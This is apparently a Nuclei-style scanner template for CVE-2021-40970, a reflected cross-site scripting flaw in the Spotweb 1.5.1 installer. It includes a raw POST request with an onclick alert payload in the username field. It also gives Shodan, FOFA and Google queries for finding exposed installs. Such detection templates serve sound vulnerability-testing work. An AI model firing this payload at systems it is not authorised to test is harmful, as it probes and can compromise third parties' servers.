id: CVE-2021-40970 info: name: Spotweb <= 1.5.1 - Cross Site Scripting author: theamanrawat severity: medium description: | Cross-site scripting (XSS) vulnerability in templates/installer/step-004.inc.php in spotweb 1.5.1 and below allow remote attackers to inject arbitrary web script or HTML via the username parameter. impact: | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions. remediation: Fixed in version 1.5.2 reference: - https://github.com/spotweb/spotweb/ - https://github.com/spotweb/spotweb/issues/711 - https://nvd.nist.gov/vuln/detail/CVE-2021-40970 - https://github.com/spotweb/spotweb classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-40970 cwe-id: CWE-79 epss-score: 0.00152 epss-percentile: 0.50482 cpe: cpe:2.3:a:spotweb_project:spotweb:*:*:*:*:*:*:*:* metadata: verified: "true" max-request: 1 vendor: spotweb_project product: spotweb shodan-query: - title:"SpotWeb - overview" - http.title:"spotweb - overview" fofa-query: title="spotweb - overview" google-query: intitle:"spotweb - overview" tags: cve2021,cve,xss,spotweb,spotweb_project http: - raw: - | POST /install.php?page=1 HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded settingsform[username]=pdteam'+onclick='alert(document.domain) matchers-condition: and matchers: - type: word part: body words: - "onclick='alert(document.domain)" - "Spotweb" condition: and - type: word part: header words: - "text/html" - type: status status: - 200 # digest: 4a0a004730450220442d128690b119fc401ff306835bcdadb964da28a28b6fbada6d7c37297b8bdb02210082dd9ef1593d2fc65e264624c0fdc0894bfcad70627e09f048b5da6c0d7451d5:922c64590222798bb761d5b6d8e72950